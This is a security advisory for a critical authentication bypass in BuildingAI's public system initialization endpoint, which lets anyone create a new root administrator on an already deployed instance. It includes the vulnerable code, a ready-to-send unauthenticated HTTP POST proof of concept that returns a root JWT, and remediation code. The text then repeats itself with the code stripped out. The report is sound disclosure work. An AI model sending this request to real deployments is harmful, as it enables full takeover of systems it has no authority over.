Description
During a security audit and code review, a critical logic flaw was discovered in the BuildingAI system's initialization endpoint (/consoleapi/system/initialize).
The endpoint is exposed with the @Public() decorator, allowing unauthenticated access. However, the underlying business logic fails to verify whether the system has already been initialized. This allows an unauthenticated external attacker to bypass authentication on a fully deployed system, forcefully create a new Root administrator account, and completely take over the application.
Affected Components
- Controller:
packages/api/src/modules/system/controllers/console/system.controller.ts (Lines 38-47)
- Service:
SystemService.initialize() (system.service.ts around Line 72)
- Endpoint:
POST /consoleapi/system/initialize
Root Cause Analysis
In system.controller.ts, the endpoint is exposed publicly:
@Public()
@Post("initialize")
async setSystemInfo(@Body() dto: initializeDto, ...) {
return this.systemService.initialize(dto, ipAddress, userAgent);
}
In the SystemService.initialize method, the code only checks if the provided username already exists in the database. It completely lacks a global state check (e.g., checking an isInitialized flag) to determine if the setup process has already been completed.
If an attacker provides a new, unique username, the system provisions the account with isRoot: BooleanNumber.YES and immediately returns a valid JWT token:
// Missing check: if (globalConfig.isInitialized) { throw Error(...) }
const user = await this.userService.create({
username: dto.username,
password: hashedPassword,
isRoot: BooleanNumber.YES, // Core escalation trigger
...
});
// Returns valid JWT for the new root user
Steps to Reproduce (PoC)
- Identify a running, already-initialized instance of the BuildingAI system.
- Send the following HTTP POST request without any authentication headers/tokens:
POST /consoleapi/system/initialize HTTP/1.1
Host: [Target-IP]
Content-Type: application/json
{
"username": "attacker_root_1",
"password": "AttackerPass123!",
"confirmPassword": "AttackerPass123!"
}
- Observe the HTTP 200 OK response containing a newly generated JWT token for the
attacker_root_1 user.
- Use the returned JWT token to access administrative API endpoints.
Security Impact
- Severity: Critical (Expected CVSS v3.1 Score: 9.8)
- Consequences: Complete system compromise. An unauthenticated remote attacker can indefinitely provision highest-privilege accounts, leading to unauthorized data access, data exfiltration, system manipulation, and severe business disruption.
Suggested Remediation
It is highly recommended to introduce a global state flag (e.g., isInitialized in a system settings table or configuration file).
Update the SystemService.initialize method to validate this flag at the very beginning of the function:
async initialize(dto: initializeDto, ...) {
// 1. Check if the system has already been initialized
const systemSettings = await this.settingService.getSystemSettings();
if (systemSettings.isInitialized) {
throw HttpErrorFactory.forbidden("System has already been initialized. Root user creation is locked.");
}
// 2. Existing username uniqueness check
const existingUser = await this.userService.findOne({
where: { username: dto.username },
});
if (existingUser) {
throw HttpErrorFactory.badRequest("User already exists");
}
// ... remaining user creation logic ...
// 3. After successful root creation, ensure systemSettings.isInitialized is set to true and saved to the database.
}
Description
During a security audit and code review, a critical logic flaw was discovered in the BuildingAI system's initialization endpoint (
/consoleapi/system/initialize).The endpoint is exposed with the
@Public()decorator, allowing unauthenticated access. However, the underlying business logic fails to verify whether the system has already been initialized. This allows an unauthenticated external attacker to bypass authentication on a fully deployed system, forcefully create a new Root administrator account, and completely take over the application.Affected Components
packages/api/src/modules/system/controllers/console/system.controller.ts(Lines 38-47)SystemService.initialize()(system.service.tsaround Line 72)POST /consoleapi/system/initializeRoot Cause Analysis
In
system.controller.ts, the endpoint is exposed publicly:In the
SystemService.initializemethod, the code only checks if the providedusernamealready exists in the database. It completely lacks a global state check (e.g., checking anisInitializedflag) to determine if the setup process has already been completed.If an attacker provides a new, unique username, the system provisions the account with
isRoot: BooleanNumber.YESand immediately returns a valid JWT token:Steps to Reproduce (PoC)
attacker_root_1user.Security Impact
Suggested Remediation
It is highly recommended to introduce a global state flag (e.g.,
isInitializedin a system settings table or configuration file).Update the
SystemService.initializemethod to validate this flag at the very beginning of the function: